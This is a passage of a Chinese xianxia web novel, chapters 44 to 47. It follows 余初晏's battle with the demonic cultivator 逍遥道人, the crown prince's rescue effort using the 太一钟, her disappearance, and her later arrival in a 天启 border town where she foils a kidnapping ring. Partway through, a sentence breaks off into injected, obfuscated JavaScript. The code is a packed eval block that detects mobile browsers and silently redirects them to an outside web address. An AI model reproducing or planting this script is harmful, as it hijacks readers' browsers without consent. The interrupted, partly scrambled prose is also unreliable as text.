她仰面望向高高在上的逍遥道人,侧首吐出一口淤血,又一件法衣被毁,她只有十八件法衣,每一件都很珍贵…… 夕光彻底沉没,血月高悬空中。 “差不多到时候了罢?”逍遥道人自言自语。 余初晏一愣,她体内灵力滞碍,运转受阻,丹田中空无灵力,无论怎么吐纳,也汇聚不了半分灵力。 ——是那蛇毒!她幡然醒悟! 逍遥道人似乎很享受她的震惊,“本道说过,从不轻敌。” 说话间,万鬼幡再度运转,幡旗暴增数十倍,怨灵聚成圈,将余初晏团团围住,来自四面八方的鬼哭狼嚎似乎在嘲笑余初晏的落败,也似乎在提前祝贺胜利。 万鬼汇成一只仅有上半身的青面獠牙鬼,手中持黑紫色巨斧,带着凛冽的罡风席卷而来。 - 命悬一刻,余初晏用最后一丝灵力传音给向晖,“带太子走!” 向晖一把抓住赵景泽,高声下令撤退。 赵景泽不欲就此离去,向晖呵斥,“您待在这,太子妃殿下还要分心相护——走!” 哪怕再不情愿,心知留在此处不过是拖累,赵景泽只得上马。 趁着另名修真者打坐疗伤,众人纷纷上马奔驰,噩梦般相似的风景从身后掠过,又一次冲出树林时,终于不再是青森的巨石。 众人来不及欢呼,只得埋头向前,猎场已然不能再待,为了陛下的安危,必须迅速撤退。 在修真者面前,凡人不过蝼蚁,无力反抗,能避则避。 忽而赵景泽猛地想起,他们并非无能为力,他曾听父皇提及,国师留下过一口神钟,可护青渊不受修真者侵扰。 那口神钟,自得知修真者出世起,日夜被父皇携带,如今定在父皇身边! 赵景泽心急如焚,顾不得山路崎岖,勒马驰骋,速度之快,将众人远远甩于身后。 夜半,马匹因受不了于山间长时间奔跑,又被枯藤绊倒,狠狠栽倒在地,座上的太子不能幸免相同命运。 但赵景泽来不及查看落马所致伤口,安抚过伤马后,仅靠双腿狂奔而行。 即使累得浑身酸痛,气喘如牛,眼前发黑,他仍然奋力向前,不曾倒下。 将近一天的行程,被他压至一个晚上,于寅时抵达了营地。 营地灯火通明,巡逻的禁卫被他惊动,误以为外人闯入。 举着火把见到太子血与泥混合的狼狈之姿后,大惊失色,连忙传唤随行太医。 赵景泽挥开他们的搀扶,强撑着一口气,艰难行至最大的圆帐处。 一路上,因为帐外喧哗,不时有大臣出帐查看。 “父皇!”赵景泽重重地跪于明黄圆帐前,俯身深深跪伏,声音却亮如洪钟,“父皇!儿臣恳求你救救阿晏!” 他一遍又一遍地呼喊,直至声音嘶哑,直至围观众人从窃窃私语到寂静无声。 青渊帝终于缓步踏出帐中,他满脸肃穆,不用多问也知余初晏出了事,并且情况危急,才会另太子跪伏于此。 宋瑛紧随其后,她急切问:“阿晏!阿晏人在何处?” 赵景泽叩首未起,就这样答道:“父皇,儿臣恳请您祭出太一钟!” 闻此,对太一钟用途心知肚明的几位重臣变了脸色。 一人出列躬身,“陛下!非国难不出钟!请您三思啊!” 李太傅却道:“陛下!小仙于青渊恩重如山,此番她若遇难,青渊也难逃厄运!一荣俱荣,一损皆损啊!” “修真之人受天道限制,断不会随意对凡间帝王出手,陛下理应即刻撤出猎场,以龙体为重!” “去岁陛下病重做不得伪!皆知是修真者出手,哪来的不对帝王出手一说!” “那太一钟发动条件苛刻!尔等愿意以身试险?” 众臣吵成一团,在场之人神色各异,有担心余初晏安危的、有忧虑青渊未来的、更有事不关己之人。 “够了!”青渊帝沉声喝止喋喋不休的争吵,负手而立,对汪朝顺道,“去请钟!” “陛下!” “陛下!” 忧戚的汪朝顺领命入帐中,在太一钟未出之时,青渊帝深深俯视着伏地不起的赵景泽,“太子,你可担得起这百条人命?” 赵景泽手脚冰凉,抬头怔怔地望着皇帝,不明所以。 宋瑛闭目不忍道:“凡人无法催动太一钟,唯有以人命填补——” “灵石也不可催动吗?母后不是有阿晏留给您的灵石!”赵景泽悲悸万分。 青渊帝避开他的视线,赵景泽惶然四望,重臣同样避之不及。 “那儿臣……愿意以性命相填……”赵景泽呢喃。 却被愤怒地青渊帝一脚踹倒在地,“身为储君,当以自身为重,你以为阿晏为何拼死送尔离开!” “优柔寡断!难堪重任!区区百人性命,为君牺牲是他们的命!你当顶天立命,做好表率!” 此时太一钟已被取出,被盛放鎏金匣中,暗金色的钟身上蟠螭纹蜿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745427|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜒,久久注视其身,便能发现这些蟠螭竟在缓慢的蠕动。 “拿起你的钟!去将阿晏带回来!” 太一钟重若千斤,压在赵景泽臂弯,在他身侧,百名侍卫整装待发,他们早已做好了献祭准备。 “我和你一起去!”人群中忽然传来少女一身清喝,很快被身边妇人捂着嘴拖回。 叶苒悲伤地被宁亲王妃桎梏在怀中,只能发出呜呜的叫唤。 “我也去!”余雪生站出人群,贺吟理所当然地站在她身边,两人坚定的双眼在火光中熠熠生辉。 赵景泽朝两人摇头,同时是在制止人群中蠢蠢欲动的其他人。 “父皇,我了解阿晏,”他缓缓道,“阿晏绝不想百人平白为她牺牲——儿臣已命暗卫以最快速度回宫,将胡礼带来!” “现下,还请钦天监众人,随儿臣一同牵制住修真者,助阿晏一臂之力。” 赵景泽目光坚定,站起身。 帝后此时才发现,他们眼中的幼儿,不知不觉已比两人还高,肩身挺括。 “由太子你全权指挥。”青渊帝朝身后挥手,灰衣太监,皇城司提督出现在太子身侧。 又点出几位武将,命其掩护官员及家眷撤离猎场。 宋峥逆人流而上,来到正与灰衣太监交谈的太子身边,将一枚护身符交到他手中,“国师曾赠与我的,说是能挡下修真者一击,具体如何我也不清楚,反正你收下罢。” 赵景泽并未拒绝,将护身符拢在掌心,久久未语。 “要将阿晏带回来啊!” “不用你说!” 宇文芜站在远处,他虽一直处于人群之外,但已然了解整个事态。 他还未报复余初晏,可不能让她死于旁人之手,哪怕是修真者也不行。 “去祝青渊人一臂之力。”他道。暗处的狐面人应声而动。 - 营地诸事,余初晏不知,她如今正躲在一处巨石后,感受丹田里不属于她,却充盈的灵力。 方才那道巨斧落下,非但没能将她杀死,反而绝处逢生,激发了丹田深处沉睡已久的由细什么桶凝结成的魔丹。 千钧一发之际,余初晏缩地成寸,避开了那一击,躲至暗处,尝试将魔丹转化成自身力量。 逍遥道人显然没想到她还能逃脱,盛怒之下,正大肆破坏岩仞,欲将余初晏逼出。 “既然你不愿出来,本道便去将那些凡人通通杀尽!” 余初晏当然不能让他就此离开,暗中释放几枚符篆挑衅,在魔气摧毁所在位置前,又迅速转移走。 就这般骚扰加到处躲藏,将时间拖到后半夜,乱石林几乎被夷为平地,连碎石都在万鬼冲撞下化作齑粉。 阵修调整好状态,断裂的手臂接好。 他试图将石上的青渊拔出来,甫一碰到青渊剑,当即感觉灵力被源源不断吸收,只得作罢。 转而飞上空中发动阵法天罗地网,捕抓余初晏的踪迹。 “看来你的魔毒并未起作用,那小子还有余力。”逍遥道人冷嗤。 阵修眼中闪过贪婪,“到底大宗门出身,宝贝可真不少。” 情况再次转变,两人都被激怒,招式明显更凌厉了,次次直取要害。 没了遮掩的青石,余初晏只能朝远离营地的方向移动,青渊剑重新回到她手中,更让阵修怒火中烧。 到底还没适应魔珠灵力,她使用时艰涩难训,只能用于防守。 几度被魔气击中,余初晏被动使用灵力抵挡侵蚀经脉的魔气,已经顾不得用灵力修复伤口。 又一次被天罗地网禁锢,逍遥道人双手结印,万鬼滞怠,青蓝的火焰于怨灵脚底生起,并飞速蔓延。 紧接而来的是比以往尖锐百倍的嘶号,封闭五识仍逃脱不了被这天地为之悸动哀鸣影响神智。 余初晏抱元守一,咬破舌尖不让自己陷入铺天盖地的负面情绪中。 青渊剑红光大震,几次都想挣脱她手,与怨灵共鸣,被她死死握于掌心,力道之大,连被青渊剑柄逼迫手心都未曾发觉。 炼化万鬼的幽冥魔火包围余初晏,极寒极热两种温度同时撕扯着她的肉身,脑中更是头疼欲裂,似乎要将她神识连同肉身一同彻底击垮。 “这一次,我看你要如何逃脱!”逍遥道人指尖一滴血落下,魔火气焰滔天,终是将余初晏吞没。 45. 殊死 以为余初晏必死无疑,阵修无趣地转动着阵盘,“先说好,她芥子里的东西任我挑选,我只要三分。” 逍遥道人拂袖未语,他心中并不如阵修那般肯定,方才他竟然感受到一股能与天道威压比肩的恐怖气息从那半大小子身上传来。 ——此人身上秘密比他想象的还要多,若不能在此击杀她,日后只会成为大隐患。 幽冥之火熊熊燃烧,光是靠近就能被那股冰焰灼伤手臂。 逍遥道人感觉到余初晏一刻未停尝试从内里突破,他不断调整魔气,绝不给余初晏冲破火焰的机会。 阵修于一旁打坐疗伤,青渊剑腐蚀的伤口不易痊愈,他方才只将体内暴虐的灵力安抚,如今才得空治疗。 待到日头高升,幽冥火中挣扎的力度渐小,逍遥道人仍未放松警惕,保持魔力输送。 倒是疗伤完毕的阵修眼见事态已成,回首望向百里外,扯出血腥的笑容,“凡间帝王伤不得,他身边的蝼蚁就未必了。” 逍遥道人没管他,任他兀自朝着营帐方向而去。 掠过树林时,他忽而发现地面一群黑点,“怎么还自己送上门来了。” 灰衣太监抬眼与他对视,眉间的沉着激怒了他。 区区一群蝼蚁! 几人并不想与他正面对上,反而往回撤。 阵修冷笑,现在才想起来跑已经迟了,他俯冲追上,五指成爪直掏灰衣太监后心。 在他看来这一爪下去,无消灵力,凡间蝼蚁必死无疑,但灰衣太监扭身与他对掌,竟硬接下了这爪。 强劲的罡风从两人掌间迸发,灰衣太监借力倒飞出百步,而他身边其他人四散开,藏进茂密林中。 阵修怒极反笑,被同级黄毛丫头所伤,又被一群凡人戏弄,他压抑的怒火已达顶峰。 阵盘一转,无形的飓风以他为圆心,扩散到十步开外,他向前一步,周身草木尽数被卷入飓风中,搅得粉碎。 飓风还在扩散,似乎要将天地万物吞噬。 “本道倒要看看,将树林毁去,你们还如何躲藏!” 身侧忽而出现几位青衣人,他们站在飓风未波及之处,站位看似杂乱,实则内藏玄机。 阵修本就以阵为生,何曾看不出他们站位竟然是诛仙阵——不对,应当是改良版。 这些凡人竟然以他残留的阵纹,重新布阵,甚至演戏引他入局! 阵修心中凝重,诛仙阵大成连合体期修士都无法全身而退,幸好他遇上的不过是一群凡人组成的改阵。 他手臂一挥,飓风冲向坎位。 当下几名玄甲禁卫冲出,举着盾牌,以凡人之躯阻挡狂风。 脚下穿着的特制长钉鞋深咬入泥中,仍然被击退几步,于泥地拖出一条条长痕。 阵修欲悬空脱阵,几枚钩锁射出,死死缠住他的双脚,让他无法升空。 以灵力崩断锁链,下一瞬四面八方射出弓弩,同时青衣人位置变化。 飓风不得不回缩,将弩箭绞飞,随后还有从天而降的弓箭与凌厉刺入疾风的长枪。 这些不过小手段,虽伤不到他,却扰得阵修烦不胜烦,分身乏术。 忽而一阵强光刺目,原来是变阵的青衣人们手持铜镜,借由日光,变化角度,另光穿透飓风,汇聚在他双目间。 本来此处高林遮日,这一招未必能起作用,但方才阵修以飓风将四周草木全部清空,搬起石头砸自己的脚。 失去视野,耳边又被不断变化的步履干扰,阵修一怒之下,灵力全力输出,飓风绞入云,狂风大作、石沙飞舞。 玄甲禁卫持盾列阵抵挡,仍有风从盾间隙穿过,甲胄在强风下猎猎作响,空气都变得稀薄,难以呼吸。 “咚”地声巨响,一口钟闯入飓风,狠狠砸中阵修的后脑,直将他砸得眼冒金星,头脑发昏。 一时不察,灵力运转不当,竟是被自己的阵法反噬,吐出一口鲜血,七窍流血倒地。 赵景泽跑上前捡回落地的太一钟,在他脑后又补了两下。 他冷笑,“谁说太一钟不被催动就是摆设的,这不是能用吗?” 不枉费他用尽全力掷出,钟身也不知何种材质,硬得出奇,连修真者的防御都比不过它。 灰衣太监:“……” 众人:“……” 太一钟是这么用的吗? 阵修被合力制住,钦天监监副感慨道:“幸好国师教会我等诸多阵法,不然遇上修真者,我等只能逃走。” “这人也不怎么强,居然会被自己的灵力反噬。” 众人松了口气,方才列阵时,无论钦天监之人与禁卫,都做好了受伤甚至牺牲的准备。 赵景泽却知,若不是余初晏之前重伤他,此人又刚愎自用,瞧不起凡人,他们未必能简单将其制服。 能帮到阿晏就好,赵景泽握紧手中的太一钟,沉声下令:“迅速清理战场,继续前行!” - 余初晏被困在幽冥魔火中,并未像逍遥道人所想的那般,攻击火焰是在垂死挣扎。 而是因为她发现魔珠居然能吸收魔气,并转化为灵气。 难怪她以灵气相逼无法激活,原来一开始就错了。 冥火中漫天的魔气简直是在给她送菜,每吸收一些,她就攻击两下冥火,逍遥道人立刻补充魔气。 几番吸收之下,她体内灵气是充裕了,也参透了逍遥道人的魔气来源。 他并不吸收天地间自然生成的灵力,而是以凡人的七情六欲为基石,其中恐惧与恶意是最容易获取的。 余初晏同样以凡人恐惧为启发,获得信仰之力。 但魔修之所以为魔修,自然是他所为违背常理、违背天道。 万鬼幡中的数万无法超生、永生永世受尽折磨怨灵正是逍遥道人魔气的来源,他禁锢凡人灵魂,日夜迫害,让他们一次又一次经历濒死的恐惧。 与系统针对叶苒的手段一般无二,难怪系统让叶苒助逍遥道人成仙,难怪暗阁四处挑起纷争战火,难怪师尊要对此人赶尽杀绝。 甲子轮回将至,已经是合体期的逍遥道人,若再以百万人性命为引,未尝不可得道成仙。 但,以百万枯骨为踏脚石的道,真的叫道吗?此等仙人,真的配为仙吗? 余初晏心觉不配,天道不处置他,就由她余初晏来替天行道! 余初晏没有在动用魔珠,不属于她的灵力,终究不可过于依赖,长久如此她与逍遥道人又有何区别! 结印解开青渊的封印,转手插入冥火中。 “你不是喜欢吸收怨气吗?”余初晏眼中倒映着火中不断燃烧的人面,心中无悲也无喜,“那就将这万鬼幡通通吸干!” 这万千人命由她来解脱,无数因果由她来承担! 青渊剑若有所感,骤然爆发出一股强大的吸力,它所在之处形成一道漩涡,成水纹状不断向远处扩散,扭曲的人面顺着漩涡通通汇入剑身。 万鬼幡与青渊两相对抗,余初晏不得不双手握剑,才不至于让它被冥火拖走。 银白色的剑身逐渐染上黑绣,脑中尖锐的哭嚎逐渐安静。 逍遥道人显然发现了她的意图,猛地撤去冥火,双手化作利刃袭来。 青渊剑失控挣脱余初晏冲向万鬼幡,她只得赤手空拳接下逍遥道人的攻击。 青渊与万鬼幡缠斗,余初晏也与逍遥道人打得势同水火。 两人拳掌相接,肉眼可见的灵力波纹扩散,爆发强大的冲击力,云层都被击散,形成一道怪异的蓝圈。 此等异象依然没有被赵景泽错过,他遥指空中,示意众人抬首。 灰衣太监摇头,“此等实力的修真者不再是我们能应付的对手,属下认为应当候在安全之地,至少等罪囚胡礼抵达,确认能催动太一钟再前进。” 赵景泽心急如焚,也知他说得有道理,他的视力比旁人要好,能看到云层中不断穿梭的两道身影。 时不时撞在一起,将云层搅得七零八落。 逍遥道人双脚踏至石峰,人如离弦利剑,五爪如钩,冲向余初晏。 在他身后,山石不堪其力,猛地炸裂,连带着山脊都出现裂纹,山峰摇摇欲坠。< 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尘土散尽后,他身披的道袍化粉碎,灰黑的上身肉眼可见细小的雷电蔓延。 趁他病要他命,余初晏手持青渊,当下冲向万鬼幡,只要本命法器毁去,逍遥道人多年修来的一身魔气也算是报了废。 在她即将以青渊破开幡旗的瞬间,背后传来一股强大、夹杂着孤抛一掷决心的恐怖气息。 余初晏没有回头,一记直刺,青渊瞬间没入幡面,同时口中高喊:“天道!!!” 黑云聚拢,比方才雷击木唤来的、更强劲、更恐怖的天雷毫无征兆落下。 耀眼的白光中,万鬼幡瞬间化作齑粉,无数生魂逃逸,也免不了被雷霆击碎的命运。 在天道惊雷的前一秒,逍遥道人垂死一击猛烈地击中余初晏后背。 幸好不知从何处射来的护身符护住了她的心脉,护身符破碎的那一刻,她仿佛感受到了师尊的气息。 饶是如此,无灵力护体的她,五脏六腑仍然被这一掌击伤,短暂地晕厥了几秒。 很快她强撑着苏醒过来,在空中转过身,面向已经碳化的逍遥道人,手中青渊再次出剑,用尽最后一丝力气刺入他的肩头。 两人一同落入深不见底的水潭中。 失去意识前,她好似听到赵景泽声嘶力竭的呼喊,又好似感受到冰冷的鳞片从她手臂间蹭过。 随后就被卷入水底的漩涡,彻底陷入黑暗之中…… - 赵景泽随手扯了一人,让其将宋峥给他的护身符以弯弓射出,护身符是飞驰出去了,但人好像并非青渊之人,长弓一撇,人已经消失。 没时间关心莫名出现的狐面人,毁天灭地的雷暴,紧随着山崩地裂,众人下意识逃至平坦之处。 唯有赵景泽注意到从空中以不正常速度跌落的两人,翻身上马,朝着他们坠落的方向奔去。 众人阻止不及,只有灰衣太监迅速跟上了他的步伐。 待他赶到时,只望见一片平静无波的深潭,目之所及,唯有幽深的水面,四处不见人影。 赵景泽当机立断,脱了长靴与外袍就跳入水中,寒意自四面八方而来,水中视线受阻,昏暗不明。 越往下水越刺骨,胸口几欲炸裂,也未能找寻到一丝一毫余初晏的影子。 良久,他撑着最后一口气浮出水面,大喘一口,眼中尽是迷茫与彷徨。 灰衣太监功力比他深厚,于水中反复进出几次后,最终确认,余初晏与那名修真者很可能被卷入了暗流中。 以两人当时的状况来说,恐怕凶多吉少,说到底,真的有人能够在那两道雷击中活下来吗? 眼见赵景泽还在做无用功,他于心不忍,道:“太子妃殿下恐怕已经……” 赵景泽听不进任何话,他只像行尸走肉般,机械地重复着深入水中动作,灰衣太监不得不将他打晕带回岸上。 事已至此,灰衣太监想,至少太子不能再出事。 46. 迷茫 灰衣太监带着太子返回,途中赵景泽转醒,拼命挣扎也要重返潭边。 一番闹腾后,灰衣太监不得不失敬,将他手脚束缚。 正巧支援抵达,为首的向晖手中钳着一只白狐,策马狂奔而来,眼见狼狈的太子与浑身湿透的灰衣太监,他心沉了几分。 “什么情况?”他问。 灰衣太监摇头,“太子妃与敌人同归于尽,落入潭中失去踪影,恐怕凶多吉少。殿下不顾性命下水找寻,一时情急——” 赵景泽脸上全是水,也不知是潭水还是泪水,咬牙道:“向晖!给本宫解开!本宫答应了父皇母后,要将阿晏带回去!” 其余人静默不语,没有一人敢上前。 “向晖!你愣着做什么!本宫治你的罪!” 向晖撇开眼,“殿下,您看这山。” 原本连绵不绝的山脉,毁的毁,塌的塌,他们行走于山路,四处都是山体滑坡、乱石挡路,费劲千辛万苦才抵达此地。 而他们如今身处的此地,更是一望无际的平地,裸露的地表像是被何物强行削出,谁曾想半日前此处群山林立。 修真者之力,恐怖如斯,说是翻天覆地之能也不为过。 “没有人能在最后那两击雷暴中活下来。”向晖平静道,“若非身受重伤亦或是……太子妃缘何失去能力,只能从天而落?” “本宫不信!”赵景泽仍然不死心,“阿晏不可能死!” 死寂在人群中传开,此处除了在场人马,再无任何活物,群鸟飞绝。 蔓延在人心中的还有无尽的惧意,对于竭尽终身不能及的强大之力的惧意。 忽然,向晖手中的白狐唧唧乱叫,旋即口吐人言,“谁死了?那个煞星?怎么可能?我的禁咒都好好的!” 赵景泽一怔,眼中迸发出强烈的希冀,“你能找到阿晏?” 胡礼的四肢在空中乱蹬,又无力的垂落,“不能!我只知道禁咒的主人离我很远!啊!我要当一辈子的野狐狸吗?那不和阿姐一样?” 说罢嘤嘤乱哭起来,被向晖卡着脖子一阵呵斥。 此时太阳复归西边,又是一日过去。 昏暗的夕光下,赵景泽眼中的光芒明明灭灭,最终道:“给本宫解开,本宫不会再回潭中了,先回营地——” 他声音平淡,似乎已经冷静下来,唯有赤红的双目彰视着他内心的惊涛骇浪。 太子愿意配合,再好不过,灰衣太监状似解开绳索,实则关注他的一举一动,随时准备重新镇压他。 但赵景泽真就骑马回营,一路沉默。 因着众人返京,营地已经被拆得七零八落,原本热闹的猎场,荒凉无度。 下属禀告那名合力捕捉的修真者逃跑了,他也顾不得关心,换了身干燥的常服,连夜回宫。 回宫后闭门不出,翻出水域图,逐个排查暗流,测算余初晏可能去到的地方。 接连几日不眠不休,不吃不喝,连帝后召见也不理,向晖看不下去,牵着胡礼闯入承德殿。 “殿下若再不休息,别怪属下不敬。” 赵景泽跪于桌前,一脸颓然,苦笑道:“本宫不敢睡,闭上眼就是阿晏从空中坠落,摔至山石间——” 见到虚弱的太子,胡礼大开眼界,啧啧称奇,“唉,你充其量是个灵力池,没想到还蛮痴情的。” 殿内两人凌厉的视线射来,胡礼一瑟缩,意识到自己失言,爪子一把捂住嘴。 “你方才说什么——”向晖还未来得及问完,赵景泽已经栽倒在桌边,昏迷不醒,只得传太医,先救太子。 张太医号过脉后,长叹一声,好端端的太子,怎么就忧思过度,只得开了些药,又令人备些易克化的粥食。 皇后宋瑛来过一次,赵景泽还在昏迷中。 余初晏出事,她心中也不好受,也不知当初让两个孩子一直相处的抉择究竟是否正确。 帝后还有繁重的事务要处置,猎场一事,兹事体大。两声巨雷京中都能听见,余音久久不绝,因此需时刻关注周围城池百姓中四起的谣言。 所幸被毁的山脉位于皇家猎场,常年封闭,否则叫人传出去又是桩桩麻烦事。 还要派人接手西临城相关事项,又令人暗中顺着水域搜寻余初晏的下落。 即使临近中秋佳节,宫中一片肃穆,毫无过节喜乐。 赵景泽醒后,第一时间要求见胡礼,也不知两人秘密商谈了些什么,此后几日赵景泽虽消沉,但三餐不落,政务勤勉。 更是于中秋宴后向青渊帝请来监国之责,承德殿日日二更天后才熄灯。 帝后原本担心余初晏下落不明,太子会一蹶不振,不曾想赵景泽反比之前更加刻苦。 宋瑛实在忧心,找他谈话。 面对母后的劝慰,赵景泽心中无喜无悲,“母后,我为储君,这些都是本分。” “你这般……倒是有些过了,母后也不想你父皇身子好了,你却养垮了……阿晏也不愿看到。”宋瑛斟酌道。 听到余初晏,赵景泽眼中有所波动,很快又归于平静,“儿臣自有分寸,母后无需忧心。” 宋瑛也不好多说,哪有拦着孩子不让他上进的,只能多费些心,提点他不要劳累过度。 回东宫的途中,下起了雨,素兰替赵景泽撑伞。 他望着如珠帘垂落的雨幕,怔怔出神。 这些天他时常发呆,素兰心知他又在思念余初晏了,她轻声道:“小姐一定会平安归来的。” 良久,赵景泽踏入雨中,“你说得对,阿晏会重新回到本宫身边的。” 既然阿晏需要帝王真龙之气,他就成为一名万民景仰的君主,被阿晏利用又如何,是他心甘情愿,怪不得旁人。 - 余初晏不知自己昏迷了多久,醒后下意识握紧青渊,挣扎着起身去找逍遥道人。 合体期修士哪怕肉身死亡,只要神魂不灭,还可夺舍卷土重来,余初晏绝不会给他这个机会! 幸好逍遥道人只比她早几息苏醒,神魂还未完全出窍,就被余初晏强逼回这幅即将报废的身体中。 逍遥道人睁开浑浊的双眼,他的声带被雷击毁,说起话来呕哑,像破锣。 他道:“这位小友何故赶尽杀绝,此界魔修与道修成仙并不冲突,比起杀了本道,不若与本道合作,甲子轮回时合力共勉——” 余初晏不想听他废话,青渊刺入他蠢蠢欲动的右肩,将他钉在原地,反手又拿出一把匕首,陨铁所致,划伤修真者可让其无法修复。 陨铁匕首刺入逍遥道人的心脏,缓缓剖开,余初晏目光专注,动作也万分小心,像是在对待珍宝。 等她见到那颗紫黑色缓缓跳动的心脏时,却骤然变了脸色。 “不是这个!”她满脸不可置信,怒不可遏,“你把它藏哪去了!” 逍遥道人仔细盯着她的怒容,忽而大笑起来,笑得胸腔都在震动,笑得口鼻溢出鲜血。 “原来是你!原来是你!” 他越笑越疯癫,“终日打雁,却叫雁啄了眼!” 陨铁剑刺入他的丹田,泄愤似的狠狠搅动,不知何时血色又爬上了余初晏的右眼,“等我杀了你,再用搜魂查看你的记忆!” 逍遥道人额间青筋暴起,皮肤焦黑碳化,七窍流血,但他仍然在笑,“难怪当年余无双忽然避世不出,是为了救你吧?” “为了救活你,她付出了什么?” “让本道猜猜,万年玄玉不够,她用道心填了你的命!哈哈哈哈哈哈哈!” “难怪她渡劫失败!因果报应!一切都是报应——” 逍遥道人声音戛然而止,没了声息,余初晏用匕首割去他的头颅,再想用青渊禁锢他的神魂时,那抹青灰的影子骤然自爆,消散于天地。 虚弱的神识爆炸,对余初晏造成不了任何损伤,却无法搜魂。 神魂独独留下一句:“……已经被我毁去了,可笑你道体不完整,这辈子都成不了仙……” 一滴血泪从眼眶滑落,在余初晏苍白的脸庞下留下一道暗红的印记。 她再度举起青渊剑,欲斩些什么,最终无力地放下,茫然地站在原地,像迷失了方向的孩子。 良久乌云聚拢,天气骤变,她挖出了逍遥道人的金丹,跌跌撞撞找了处隐蔽的山洞,用剩余的灵力布了个隐匿阵,就在此处打坐调息。 山中无岁月,也不知过了多少个日夜,身体恢复大半后,她又拿出拼接好 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一直以来她的目标就是手刃仇敌,找回完整道体后修炼成仙,若道体不完整,永无成仙之日,她又该如何? 踏上一条注定不会成功的道路,就像万千修真者、就像师尊一般…… 师尊以拯救苍生、拯救世人为道,所以在遇到濒死的她才会毫不犹豫出手相救,保她一命。 而她的道又是什么? 她飞上山崖,漫无目的地走着,脑中思绪纷杂,看似思索,实则混乱。 途径一座村庄时,有不更事的顽童以石相击,“哪来的野人!快滚开!” 碎石没能触到余初晏,反被弹开重重地砸在顽童额角,瞬间见了血,顽童捂着头哇哇大哭。 在愤怒地妇人赶来前,余初晏已经消失在了小道。 她此时才发现自己一身脏污,头发乱得像水草,身上除了法衣完好无损,外罩的骑装破破烂烂。 至少没有化作齑粉,看来两道雷都没有完全劈中她,可惜了,多好的淬体天雷。 余初晏苦中作乐,在水边捏了个诀将自已打理一净,又拿出备用的衣裙穿上。 水中倒映的又是那个明眸皓齿、恣意张扬的余初晏,但眉宇间多了一抹之不去的愁意。 看方才孩童的穿着,居然已经入了冬,离秋猎至少已是两个月后了。 找了棵大树,坐于枝头,开始谋划未来的道路。 青渊那边暂时不回去了,小龙崽子要当皇帝了,她还没元婴期,去了也是做白工。 月凰她也不想去,那只赤狐害她道心受损,虽说对方死不承认太子授意,但有什么从属就有什么主子,月凰太子她最后再搭理。 天启…… 余初晏沉默地晃了晃脚,天启她也不想回…… 三个国家她都不想去,总不能从天降下一只别的真龙吧。 余初晏烦躁地抓抓手心,赤狐与逍遥道人那些话都影响了她的道心,不自觉就变得暴躁起来。 盘腿念了一段清心咒,余初晏静下心,索性去最近的城镇吃些东西,口腹之欲说不定能压下她的躁郁。 等到了最近的城池,她确信自己大抵已经不在青渊了,就算是应当也是最北边与天启交界之处。 天启服饰与青渊相似又有不同,女子裙摆都很窄,哪怕是农妇,窄小的衣裙从腰身到双腿都像是束缚。 哪怕冬日严寒,她们穿得厚实也显得很瘦,从头到尾毫无起伏,颜色也多素重。不像青渊,飘逸灵动,色彩鲜艳。 反观男子衣着多宽大,身形也高大。 余初晏这身站在城口,蓝袄藕裙,加上出众的容貌,吸引了不少注视,看衣装料子,非富即贵,旁人心思各异。 守城的年轻侍卫接过入城钱,看她独身一人,忍不住提醒了一句,“姑娘,你最好还是别进城了……” 余初晏不明所以,哪有不让人进城的,身后饱含恶意的窥伺,还不配她放在心上。 在年轻守卫担忧的目光下,余初晏穿过城门。 入到城内,车马往来,她站定略一抬首,就看到了冲天的紫宸之气,送上门的龙崽,紫气上浅下深。 是小草儿。 47. 城中 日头还早,余初晏不急着去找小草儿,在城中逛了圈。 天启吃食与青渊不尽相同,街边随处可见各种饼面叫卖,余初晏买来试了些,味道尚可,口味适中,不似澧都偏甜。 选了家桌椅整洁干净的小店,点了份羊肉片儿汤,余初晏坐着观察途经的人群。 这里临近码头,因此路上有不少青渊装束的行商。 脚夫们多穿得单薄,部分裸露在外的四肢瘦小且无力。走得慢些就要被监工鞭打、呵斥。 整条街女子极少,多为叫卖杂货的老妪。 店小二端来刚出炉的汤面,热情地与她搭话:“客官看穿着不像是天启人,长相……倒像是。” 余初晏颔首,“我生于天启,长于青渊。” “原来如此。”店小二虽然在和她说话,目光却不断瞥向她身后,“那姑娘为何一人在此,可是和家人走散了?” “……”余初晏不语,拿着筷子试了两口,味道确实不错,汤是羊骨熬制而成,只放了很少调料去腥,基本保留了羊肉原汁原味。 面片劲道吸满汤汁,就着汤吃上几口,冬日里寒冷都驱散了。 可惜…… 忽而一高壮的汉子闯入店中,目标明确直奔余初晏,声音大如洪钟:“媳妇,找你好久了,快跟我回……” 余初晏眼神未动,手一抬,速度快得旁人根本看不清,就以筷子穿透他的掌心,扎入木桌上。 侧首望向目瞪口呆的店小二,“这支筷子我用着不顺手,换一双?” 店小二腿脚发软,手里捏着汗巾,对上那双古井无波的眉眼,慌慌忙忙去拿干净的碗筷。 高壮汉子后知后觉发出杀猪般的叫声,余初晏手又一抬,耳边清静了。 店里原本心知肚明看热闹、还打算起哄的其他汉子,各个低眉顺眼,默默加快了食用速度。 那掌柜不知做何想,瑟缩着从柜台后走出,来到余初晏面前,“这位客官……您与丈夫吵嘴……也没必要在小店闹事……不若早跟……” 在余初晏注视下,后面的声音越来越低,细若蚊呐。 高壮汉子试图将手从桌上拔出,忍着剧烈的疼痛,但筷子入木三分,无论他怎么用力都屹然不动。 恼羞成怒之下,他完好的那只手握拳,猛力挥向余初晏。 不过眨眼间,陶碗落地发出脆响,高壮汉子连同桌子都飞出了店外,在泥泞的道路上激起一小片水花。 路过之人纷纷停驻,聚起来看热闹,探头探脑往店中打量。 一两银子落于掌柜手中,余初晏站得笔直,俯视着躬身的他。 又看向呆立在一旁的店小二,缓缓道:“多行不义必自毙,羊肉片汤很好喝,可惜迷药减了三分味。” 看来是他们常用的拐人手段,不论她今日入了这条街哪家店,都会被下迷药,随后这汉子再以离家媳妇的名义将人带走,实际私下另有安排。 掌柜和汉子都是印堂发黑,厄运缠身,店小二大抵还有几分良知,还未全然染黑。 